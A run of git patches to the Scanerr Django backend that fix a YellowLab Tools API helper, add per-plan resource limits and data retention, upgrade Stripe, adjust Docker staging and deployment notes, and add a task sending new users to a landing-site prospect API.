Subject: [PATCH 213/752] fixed some small bugs

---
 app/api/utils/yellowlab.py | 10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 37efa8ae..2148f1a3 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -48,25 +48,29 @@ def yellowlab_api(self) -> dict:
         }
 
         # setting up initial request
-        _res = requests.post(
+        res = requests.post(
             url=f'{settings.YELLOWLAB_ROOT}/api/runs',
             data=json.dumps(data),
             headers=headers
-        )
+        ).json()
 
-        # retrieve response
+        # retrieve runId
         run_id = res['runId']
         
         wait_time = 0
         max_wait = 1200
         done = False
+
+        # waiting for run to complete
         while not done and wait_time < max_wait:
 
+            # sending run request check
             res = requests.get(
                 url=f'{settings.YELLOWLAB_ROOT}/api/runs/{run_id}',
                 headers=headers
             ).json()
 
+            # checking status
             status = res['status']['statusCode']
             position = res['status'].get('position')
             if status == 'awaiting':

From 08463218d53f088ab730f93dd7b2d5fe845c453a Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 14:56:41 -0700
Subject: [PATCH 214/752] adding deps

---
 app/api/utils/yellowlab.py | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 2148f1a3..85b9f03d 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -1,4 +1,5 @@
-import subprocess, json, uuid, boto3, shutil, os, requests
+import subprocess, json, uuid, boto3, \
+shutil, os, requests, time
 from ..models import Site, Scan
 from scanerr import settings
 

From da4aedd30c02b6fe6d94751e677c08dc360fc1eb Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 15:01:25 -0700
Subject: [PATCH 215/752] fixed processing error

---
 app/api/utils/yellowlab.py | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 85b9f03d..72afdfcb 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -99,7 +99,7 @@ def yellowlab_api(self) -> dict:
 
 
     
-    def process_data(self, data: dict) -> dict:
+    def process_data(self, stdout_json: dict) -> dict:
         """ 
         Accepts JSON data from either CLI or API method 
         and parses into usable Scanerr data.
@@ -213,7 +213,7 @@ def get_data(self):
 
                 # convert to dict
                 stdout_json = json.loads(stdout_value)
-                data = self.process_data(data=stdout_json)
+                data = self.process_data(stdout_json=stdout_json)
                 return data
                 
             else:
@@ -225,7 +225,7 @@ def get_data(self):
 
             try:
                 raw_data = self.yellowlab_api()
-                data = self.process_data(data=raw_data)
+                data = self.process_data(stdout_json=raw_data)
                 return data
 
             except Exception as e:

From d01f7920f727e4cc3dc09967bb9e97ac6907e1e8 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 15:12:51 -0700
Subject: [PATCH 216/752] fixed data processing issue

---
 app/api/utils/yellowlab.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 72afdfcb..6e5a8ea4 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -94,7 +94,7 @@ def yellowlab_api(self) -> dict:
             headers=headers
         ).json()
     
-        return data
+        return res
 
 
 
@@ -105,7 +105,7 @@ def process_data(self, stdout_json: dict) -> dict:
         and parses into usable Scanerr data.
 
         Expects the following:
-            data: <dict> or json from output
+            stdout_json: <dict> or json from output
             
         Returns --> formatted YL data <dict> 
         """

From 1dcd02903e4e2abceec9d25ce81965d187c97ec0 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 15:18:20 -0700
Subject: [PATCH 217/752] fixed s3 config issue

---
 app/api/utils/yellowlab.py | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 6e5a8ea4..daadaf91 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -110,6 +110,14 @@ def process_data(self, stdout_json: dict) -> dict:
         Returns --> formatted YL data <dict> 
         """
 
+        # setup boto3 configurations
+        s3 = boto3.client(
+            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+            region_name=str(settings.AWS_S3_REGION_NAME), 
+            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+        )
+
         # initial audits object
         audits = {
             "pageWeight": [], 
@@ -191,14 +199,6 @@ def process_data(self, stdout_json: dict) -> dict:
 
 
     def get_data(self):
-
-        # setup boto3 configurations
-        s3 = boto3.client(
-            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-            region_name=str(settings.AWS_S3_REGION_NAME), 
-            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-        )
         
         # try CLI method first
         try:

From e5a16b6449af83b78771b1c14b02b9474ec054a8 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 31 Jan 2024 10:29:29 -0700
Subject: [PATCH 218/752] rollling out new pricing structure

---
 app/api/models.py              |   5 +-
 app/api/tasks.py               |  30 ++++++--
 app/api/v1/auth/serializers.py |   3 +-
 app/api/v1/auth/services.py    |  15 ++++
 app/api/v1/billing/views.py    |  28 +++++++-
 app/api/v1/ops/services.py     | 122 ++++++++++++++++++++++++---------
 6 files changed, 162 insertions(+), 41 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index a4ab2198..7f4b2e65 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -246,7 +246,10 @@ class Account(models.Model):
     type = models.CharField(max_length=1000, serialize=True, null=True, blank=True, default='free')
     code = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     max_sites = models.IntegerField(serialize=True, null=True, blank=True, default=1)
-    max_pages = models.IntegerField(serialize=True, null=True, blank=True, default=5)
+    max_pages = models.IntegerField(serialize=True, null=True, blank=True, default=3)
+    max_schedules = models.IntegerField(serialize=True, null=True, blank=True, default=0)
+    retention_days = models.IntegerField(serialize=True, null=True, blank=True, default=3)
+    testcases = BooleanField(default=False, serialize=False)
     cust_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     sub_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     product_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
diff --git a/app/api/tasks.py b/app/api/tasks.py
index c5d0b4c3..2573dd5c 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -509,11 +509,17 @@ def create_testcase_bg(
 
 
 @shared_task
-def delete_old_resources(days_to_live=30):
+def delete_old_resources(account_id=None, days_to_live=30):
     max_date = datetime.now() - timedelta(days=days_to_live)
-    tests = Test.objects.filter(time_created__lte=max_date)
-    scans = Scan.objects.filter(time_created__lte=max_date)
-    testcases = Testcase.objects.filter(time_created__lte=max_date)
+
+    if account_id is not None:
+        tests = Test.objects.filter(account__id=account_id, time_created__lte=max_date)
+        scans = Scan.objects.filter(account__id=account_id, time_created__lte=max_date)
+        testcases = Testcase.objects.filter(account__id=account_id, time_created__lte=max_date)
+    else:
+        tests = Test.objects.filter(time_created__lte=max_date)
+        scans = Scan.objects.filter(time_created__lte=max_date)
+        testcases = Testcase.objects.filter(time_created__lte=max_date)
 
     for test in tests:
         delete_test_s3_bg.delay(test.id, test.site.id, test.page.id)
@@ -530,6 +536,22 @@ def delete_old_resources(days_to_live=30):
 
 
 
+
+@shared_task
+def data_retention():
+    accounts = Account.objects.all()
+    for account in accounts:
+        delete_old_resources.delay(
+            account_id=account.id,
+            days_to_live=account.retention_days
+        )
+    
+    logger.info('Requested resource cleanup')
+
+
+
+
+
 @shared_task
 def delete_admin_sites(days_to_live=1):
     max_date = datetime.now() - timedelta(days=days_to_live)
diff --git a/app/api/v1/auth/serializers.py b/app/api/v1/auth/serializers.py
index c9dd3bc1..3d0735f8 100644
--- a/app/api/v1/auth/serializers.py
+++ b/app/api/v1/auth/serializers.py
@@ -71,7 +71,8 @@ class Meta:
         model = Account
         fields = ['id', 'active', 'time_created', 'type',
         'cust_id', 'sub_id', 'product_id', 'price_id', 'slack',
-        'user', 'code', 'name', 'price_amount',
+        'user', 'code', 'name', 'price_amount', 'max_sites', 
+        'max_pages', 'max_schedules', 'testcases', 'retention_days'
         ]
 
 
diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 105231fc..5e356ca7 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -259,6 +259,9 @@ def create_or_update_account(request=None, *args, **kwargs):
         code = request.data.get('code')
         max_sites = request.data.get('max_sites')
         max_pages = request.data.get('max_pages')
+        max_schedules = request.data.get('max_schedules')
+        retention_days = request.data.get('retention_days')
+        testcases = request.data.get('testcases')
         cust_id = request.data.get('cust_id')
         sub_id = request.data.get('sub_id')
         product_id = request.data.get('product_id')
@@ -274,6 +277,9 @@ def create_or_update_account(request=None, *args, **kwargs):
         code = kwargs.get('code')
         max_sites = kwargs.get('max_sites')
         max_pages = kwargs.get('max_pages')
+        max_schedules = kwargs.get('max_schedules')
+        retention_days = kwargs.get('retention_days')
+        testcases = kwargs.get('testcases')
         cust_id = kwargs.get('cust_id')
         sub_id = kwargs.get('sub_id')
         product_id = kwargs.get('product_id')
@@ -301,6 +307,12 @@ def create_or_update_account(request=None, *args, **kwargs):
             account.max_sites = max_sites
         if max_pages is not None:
             account.max_pages = max_pages
+        if max_schedules is not None:
+            account.max_schedules = max_schedules
+        if retention_days is not None:
+            account.retention_days = retention_days
+        if testcases is not None:
+            account.testcases = testcases
         if cust_id is not None:
             account.cust_id = cust_id
         if sub_id is not None:
@@ -330,6 +342,9 @@ def create_or_update_account(request=None, *args, **kwargs):
             code=code,
             max_sites=max_sites,
             max_pages=max_pages,
+            max_schedules=max_schedules if max_schedules is not None else 0,
+            retention_days=retention_days if retention_days is not None else 3,
+            testcases=testcases if testcases is not None else False,
             cust_id=cust_id,
             sub_id=sub_id,
             product_id=product_id,
diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index bd197d43..2e93b0ff 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -193,6 +193,9 @@ def post(self, request):
                 'price_amount': account.price_amount,
                 'max_sites': account.max_sites,
                 'max_pages': account.max_pages,
+                'max_schedules': account.max_schedules,
+                'retention_days': account.retention_days,
+                'testcases': account.testcases,
                 'slack': {
                     'slack_name': account.slack['slack_name'], 
                     'bot_user_id': account.slack['bot_user_id'], 
@@ -221,6 +224,14 @@ def post(self, request):
         price_amount = int(request.data.get('price_amount'))
         max_sites = int(request.data.get('max_sites'))
         max_pages = int(request.data.get('max_pages'))
+        max_schedules = int(request.data.get('max_schedules'))
+        retention_days = int(request.data.get('retention_days'))
+        testcases = str(request.data.get('testcases', False))
+
+        if testcases.lower() == 'true':
+            testcases = True
+        if testcases.lower() == 'false':
+            testcases = False
 
         if not Account.objects.filter(user=user).exists():
             create_or_update_account(
@@ -228,6 +239,9 @@ def post(self, request):
                 type=name,
                 max_sites=max_sites,
                 max_pages=max_pages,
+                max_schedules=max_schedules,
+                retention_days=retention_days,
+                testcases=testcases
             )
 
         account = Account.objects.get(user=user)
@@ -285,6 +299,9 @@ def post(self, request):
             max_sites = max_sites,
             max_pages = max_pages,
             price_amount = price_amount,
+            max_schedules = max_schedules,
+            retention_days = retention_days,
+            testcases = testcases
         )        
 
         data = {
@@ -325,6 +342,9 @@ def post(self, request):
                     'price_amount': account.price_amount,
                     'max_sites': account.max_sites,
                     'max_pages': account.max_pages,
+                    'max_schedules': account.max_schedules,
+                    'retention_days': account.retention_days,
+                    'testcases': account.testcases,
                     'slack': {
                         'slack_name': account.slack['slack_name'], 
                         'bot_user_id': account.slack['bot_user_id'], 
@@ -382,6 +402,12 @@ def post(self, request):
                 'plan': {
                     'name': account.type,
                     'active': account.active,
+                    'price_amount': account.price_amount,
+                    'max_sites': account.max_sites,
+                    'max_pages': account.max_pages,
+                    'max_schedules': account.max_schedules,
+                    'retention_days': account.retention_days,
+                    'testcases': account.testcases,
                     'slack': {
                         'slack_name': account.slack['slack_name'], 
                         'bot_user_id': account.slack['bot_user_id'], 
@@ -389,7 +415,7 @@ def post(self, request):
                         'bot_access_token': account.slack['bot_access_token'], 
                         'slack_channel_id': account.slack['slack_channel_id'], 
                         'slack_channel_name': account.slack['slack_channel_name'],
-                    },
+                    }
                 },
             }
 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 6eacec9c..47416203 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -50,14 +50,68 @@ def record_api_call(request, data, status):
 
 
 
-def check_account(request=None, user=None):
+def check_account(request=None, user=None, resource=None, site_id=None):
+    
+    allowed = True
+    error = None
+    member = None
+
     if request is not None:
         user = request.user
     if Member.objects.filter(user=user).exists():
         member = Member.objects.get(user=user)
-        return member.account.active
+        account = member.account
+        allowed = member.account.active
+        if not allowed:
+            error = 'account not funded'
     else:
-        return False
+        allowed = False
+        error = 'no account assocation'
+    
+    # returning early bc account 
+    # is not funded or not associated
+    if not allowed:
+        data = {
+            'allowed': allowed,
+            'error': error 
+        }
+        return data
+
+    # checking resource limit
+    if resource is not None:
+        # checking pages
+        if resource == 'page':
+            current_page_count = Page.objects.filter(account=account, site__id=site_id).count()
+            if current_page_count >= account.max_pages:
+                allowed = False
+                error = 'max pages reached, please upgrade plan'
+        # checking sites
+        if resource == 'site':
+            current_site_count = Site.objects.filter(account=account).count()
+            if current_site_count >= account.max_sites:
+                allowed = False
+                error = 'max sites reached, please upgrade plan'
+        # checking schedules
+        if resource == 'schedule':
+            current_site_count = Schedule.objects.filter(account=account).count()
+            if current_site_count >= account.max_schedules:
+                allowed = False
+                error = 'max schedules reached, please upgrade plan'
+        # checking testcases
+        if resource == 'testcase':
+            if not account.testcases:
+                allowed = False
+                error = 'testcases not allowed, please upgrade plan'
+    
+    # returning data
+    data = {
+        'allowed': allowed,
+        'error': error 
+    }
+    return data
+        
+
+    
 
 
 
@@ -84,9 +138,9 @@ def create_site(request, delay=False):
         record_api_call(request, data, '400')
         return Response(data, status=status.HTTP_400_BAD_REQUEST)
 
-    account_is_active = check_account(request=request)
-    if not account_is_active:
-        data = {'reason': 'account not funded',}
+    check_data = check_account(request=request, resource='site')
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
         record_api_call(request, data, '402')
         return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
 
@@ -189,9 +243,9 @@ def crawl_site(request, id):
     user = request.user
     account = Member.objects.get(user=user).account
 
-    account_is_active = check_account(request=request)
-    if not account_is_active:
-        data = {'reason': 'account not funded',}
+    check_data = check_account(request=request)
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
         record_api_call(request, data, '402')
         return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
     try:
@@ -384,9 +438,9 @@ def create_page(request, delay=False):
         record_api_call(request, data, '400')
         return Response(data, status=status.HTTP_400_BAD_REQUEST)
 
-    account_is_active = check_account(request=request)
-    if not account_is_active:
-        data = {'reason': 'account not funded',}
+    check_data = check_account(request=request, resource='page', site_id=site_id)
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
         record_api_call(request, data, '402')
         return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
 
@@ -474,13 +528,13 @@ def create_many_pages(request, obj_response=False):
     site = Site.objects.get(id=site_id)
     pages = Page.objects.filter(site=site)
 
-    account_is_active = check_account(request=request)
-    if not account_is_active:
-        data = {'reason': 'account not funded',}
+    check_data = check_account(request=request, resource='page', site_id=site_id)
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
         record_api_call(request, data, '402')
         return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
 
-    if pages.count() >= account.max_pages:
+    if (pages.count() + len(page_urls)) >= account.max_pages:
         data = {'reason': 'maximum number of pages reached',}
         record_api_call(request, data, '402')
         return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
@@ -732,9 +786,9 @@ def create_scan(request=None, delay=False, *args, **kwargs):
         user = User.objects.get(id=user_id)
     account = Member.objects.get(user=user).account
 
-    account_is_active = check_account(user=user)
-    if not account_is_active:
-        data = {'reason': 'account not funded', 'success': False}
+    check_data = check_account(request=request)
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'], 'success': False}
         if request is not None:
             record_api_call(request, data, '402')
             return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
@@ -1147,9 +1201,9 @@ def create_test(request=None, delay=False, *args, **kwargs):
         # get data from kwargs
     account = Member.objects.get(user=user).account
 
-    account_is_active = check_account(user=user)
-    if not account_is_active:
-        data = {'reason': 'account not funded', 'success': False,}
+    check_data = check_account(request=request)
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'], 'success': False}
         if request is not None:
             record_api_call(request, data, '402')
             return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
@@ -1617,9 +1671,9 @@ def create_or_update_schedule(request):
     user = request.user
     account = Member.objects.get(user=user).account
 
-    account_is_active = check_account(request=request)
-    if not account_is_active:
-        data = {'reason': 'account not funded',}
+    check_data = check_account(request=request, resource='schedule')
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
         record_api_call(request, data, '402')
         return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
     try:
@@ -1978,9 +2032,9 @@ def create_or_update_automation(request):
     user = request.user
     account = Member.objects.get(user=user).account
 
-    account_is_active = check_account(request=request)
-    if not account_is_active:
-        data = {'reason': 'account not funded',}
+    check_data = check_account(request=request)
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
         record_api_call(request, data, '402')
         return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
 
@@ -2308,9 +2362,9 @@ def create_or_update_case(request):
     user = request.user
     account = Member.objects.get(user=user).account
 
-    account_is_active = check_account(request=request)
-    if not account_is_active:
-        data = {'reason': 'account not funded',}
+    check_data = check_account(request=request)
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
         record_api_call(request, data, '402')
         return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
 
@@ -2440,9 +2494,9 @@ def create_testcase(request, delay=False):
     account = Member.objects.get(user=user).account
 
 
-    account_is_active = check_account(request=request)
-    if not account_is_active:
-        data = {'reason': 'account not funded',}
+    check_data = check_account(request=request, resource='testcase')
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
         record_api_call(request, data, '402')
         return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
 

From fc50f23a7a1a183a392961279f4dab0c524b34c5 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 31 Jan 2024 10:38:25 -0700
Subject: [PATCH 219/752] fixed typo

---
 app/api/models.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/models.py b/app/api/models.py
index 7f4b2e65..5c3cbf9d 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -249,7 +249,7 @@ class Account(models.Model):
     max_pages = models.IntegerField(serialize=True, null=True, blank=True, default=3)
     max_schedules = models.IntegerField(serialize=True, null=True, blank=True, default=0)
     retention_days = models.IntegerField(serialize=True, null=True, blank=True, default=3)
-    testcases = BooleanField(default=False, serialize=False)
+    testcases = models.BooleanField(default=False, serialize=False)
     cust_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     sub_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     product_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)

From 2f93b66b6a09b1c4016f63f684615be40ae6b637 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 31 Jan 2024 10:55:56 -0700
Subject: [PATCH 220/752] upgrading stripe

---
 requirements.txt | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/requirements.txt b/requirements.txt
index 6887ed19..b715ae20 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -44,7 +44,7 @@ sendgrid==6.9.7
 six==1.16.0
 slack-sdk==3.11.2
 sqlparse==0.4.1
-stripe==2.60.0
+stripe==8.0.0
 tornado==6.1
 twilio==7.3.0
 urllib3==1.26.5

From 76b7880df619cd434bcfc538e1d886d855e7cdcc Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 31 Jan 2024 13:35:51 -0700
Subject: [PATCH 221/752] fixed staging env

---
 Dockerfile.local         | 2 +-
 docker-compose.stage.yml | 5 ++---
 2 files changed, 3 insertions(+), 4 deletions(-)

diff --git a/Dockerfile.local b/Dockerfile.local
index 257b6136..b336cdf6 100644
--- a/Dockerfile.local
+++ b/Dockerfile.local
@@ -33,7 +33,7 @@ ENV NODE_OPTIONS=--max_old_space_size=7000
 ENV NODE_OPTIONS="--max-old-space-size=7000"
 
 # installing lighthouse & yellowlabtools
-RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
+RUN npm install -g lighthouse lighthouse-plugin-crux lodash
 
 # telling Puppeteer to skip installing Chrome
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
diff --git a/docker-compose.stage.yml b/docker-compose.stage.yml
index 8d42a766..ccd0c90d 100644
--- a/docker-compose.stage.yml
+++ b/docker-compose.stage.yml
@@ -6,8 +6,7 @@ services:
     init: true
     restart: always
     build:
-      context: .
-      dockerfile: Dockerfile
+      dockerfile: Dockerfile.local
     # image: landonr/scanerr-server
     ports:
       - "8000:8000"
@@ -35,7 +34,7 @@ services:
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile
+      dockerfile: Dockerfile.local
     # image: landonr/scanerr-server
     command: celery -A scanerr worker --beat --scheduler django --loglevel=info
     volumes:

From 349424c94475c450d57f00b9d6b7bdeb081ec93e Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 31 Jan 2024 13:36:07 -0700
Subject: [PATCH 222/752] updated notes

---
 notes/Deployment.md | 8 +++++++-
 notes/Kubernetes.md | 9 ++++++---
 2 files changed, 13 insertions(+), 4 deletions(-)

diff --git a/notes/Deployment.md b/notes/Deployment.md
index 91d366f2..9b161d1f 100644
--- a/notes/Deployment.md
+++ b/notes/Deployment.md
@@ -93,12 +93,18 @@ $ cat ~/.ssh/id_ed25519.pub
 - copy key to clipboard and paste in GutHub
 
 
+*Add ssh_key.pub to {user} authorized_keys*
+```shell
+$ {your_ssh_key.pub} >> ~/.ssh/authorized_keys
+```
+
+
 *Create a dir to clone the app into*
 ``` shell
 $ cd ~
 $ mkdir app
 $ cd app
-$ git clone https://github.com/Scanerr-io/server.git
+$ git clone git@github.com:Scanerr-io/server.git
 ```
 *Spin-up the application*
 ```shell
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index e90ca6b9..e29fd972 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -142,6 +142,9 @@ kubectl port-forward service/app-service 8000:8000
 ---
 
 ## Migration Notes for DB:
-1. Ensure state is where you want it to be (i.e. local migration files are what you expect) or delete any new migration files that were generated during development
-2. Spinup staging env locally
-3. Push new migration changes to github
\ No newline at end of file
+1. Go to `models.py` and comment out all new additions
+2. Spinup staging env locally to create `00001_initial.py` migration as baseline
+3. Spin down staging env
+4. Un-comment all new additions in `models.py`
+5. Spinup staging env locally again and ensure a new migration file is created in `/migrations`
+3. Spin down staging env and merge `dev` branch on github
\ No newline at end of file

From 2e41dd4e3354e88c68798637076b9b725a53fffc Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 31 Jan 2024 13:52:16 -0700
Subject: [PATCH 223/752] testing new query method

---
 app/api/tasks.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 2573dd5c..a71836f0 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -513,8 +513,8 @@ def delete_old_resources(account_id=None, days_to_live=30):
     max_date = datetime.now() - timedelta(days=days_to_live)
 
     if account_id is not None:
-        tests = Test.objects.filter(account__id=account_id, time_created__lte=max_date)
-        scans = Scan.objects.filter(account__id=account_id, time_created__lte=max_date)
+        tests = Test.objects.filter(site__account__id=account_id, time_created__lte=max_date)
+        scans = Scan.objects.filter(site__account__id=account_id, time_created__lte=max_date)
         testcases = Testcase.objects.filter(account__id=account_id, time_created__lte=max_date)
     else:
         tests = Test.objects.filter(time_created__lte=max_date)

From 3eafaa4516f64050666bd0a499afdb187891e50c Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 31 Jan 2024 16:43:41 -0700
Subject: [PATCH 224/752] testing scan issue

---
 app/api/v1/ops/services.py | 15 ++++++++-------
 1 file changed, 8 insertions(+), 7 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 47416203..95f7254c 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -786,13 +786,14 @@ def create_scan(request=None, delay=False, *args, **kwargs):
         user = User.objects.get(id=user_id)
     account = Member.objects.get(user=user).account
 
-    check_data = check_account(request=request)
-    if not check_data['allowed']:
-        data = {'reason': check_data['error'], 'success': False}
-        if request is not None:
-            record_api_call(request, data, '402')
-            return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
-        return data
+    if request is not None:
+        check_data = check_account(request=request)
+        if not check_data['allowed']:
+            data = {'reason': check_data['error'], 'success': False}
+            if request is not None:
+                record_api_call(request, data, '402')
+                return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
+            return data
 
     if len(types) == 0:
         types = ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']

From 6d1993e0054820eadf5f22b2c7cffcaafecc773e Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 31 Jan 2024 16:51:53 -0700
Subject: [PATCH 225/752] fixed typo

---
 notes/Kubernetes.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index e29fd972..565446d1 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -83,7 +83,7 @@ kubectl port-forward service/app-service 8000:8000
 
       
 
-## Setps to Deploy Remotly
+## Setps to Deploy Remotely
 
 
 ### 1. Create docker secrets  

From 49cb22719e9263ef0cad1ddcc3c9409cb1112669 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 2 Feb 2024 08:40:21 -0700
Subject: [PATCH 226/752] adding prospect creation method on site_create()

---
 app/api/tasks.py           | 44 +++++++++++++++++++++++++++++++++++++-
 app/api/v1/ops/services.py |  7 +++++-
 app/scanerr/settings.py    |  3 ++-
 3 files changed, 51 insertions(+), 3 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index a71836f0..f2759289 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -21,7 +21,7 @@
 from .utils.driver_p import driver_test
 from .v1.auth.alerts import send_invite_link, send_remove_alert
 from asgiref.sync import async_to_sync
-import asyncio, boto3, time
+import asyncio, boto3, time, requests, json
 from datetime import datetime, timedelta, date
 from scanerr import settings
 
@@ -566,6 +566,48 @@ def delete_admin_sites(days_to_live=1):
 
 
 
+@shared_task
+def create_prospect(user):
+    
+    # setup configs
+    url = f'{settings.LANDING_API_ROOT}/v1/ops/prospect'
+    headers = {
+        "content-type": "application/json",
+        "Authorization" : f'Token {settings.LANDING_API_KEY}'
+    }
+    data = {
+        'first_name': user.first_name,
+        'last_name': user.last_name,
+        'email': user.email,
+        'status': 'warm',
+        'source': 'app',
+    }
+    
+    try:
+        # send the request
+        res = requests.post(
+            url=url, 
+            headers=headers, 
+            data=json.dumps(data)
+        ).json()
+
+        success = True
+        message = res
+
+    except Exception as e:
+        success = False
+        message = res
+
+    data = {
+        'success': success,
+        'message': message
+    }
+    
+    logger.info(f'Sent Prospect creation request -> {data}')
+
+
+
+
 @shared_task
 def migrate_site_bg(
         login_url, 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 95f7254c..874d7fc0 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1,4 +1,4 @@
-import json, boto3, asyncio, os
+import json, boto3, asyncio, os, requests
 from datetime import datetime
 from django.contrib.auth.models import User
 from django_celery_beat.models import CrontabSchedule, PeriodicTask
@@ -164,6 +164,11 @@ def create_site(request, delay=False):
             account=account
         )
 
+        # check if this is account's first site
+        if Site.objects.filter(account=account).count() == 1:
+            # send POST to landing/v1/ops/prospect
+            create_prospect.delay(user=user)
+
         if not configs:
             configs = {
                 'window_size': '1920,1080',
diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index 557b8790..bac95705 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -25,7 +25,8 @@
 
 ALLOWED_HOSTS = ['*']
 CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT')
-LANDING_URL_ROOT = os.environ.get('LANDING_URL_ROOT')
+LANDING_API_ROOT = os.environ.get('LANDING_API_ROOT')
+LANDING_API_KEY = os.environ.get('LANDING_API_KEY')
 API_URL_ROOT = os.environ.get('API_URL_ROOT')
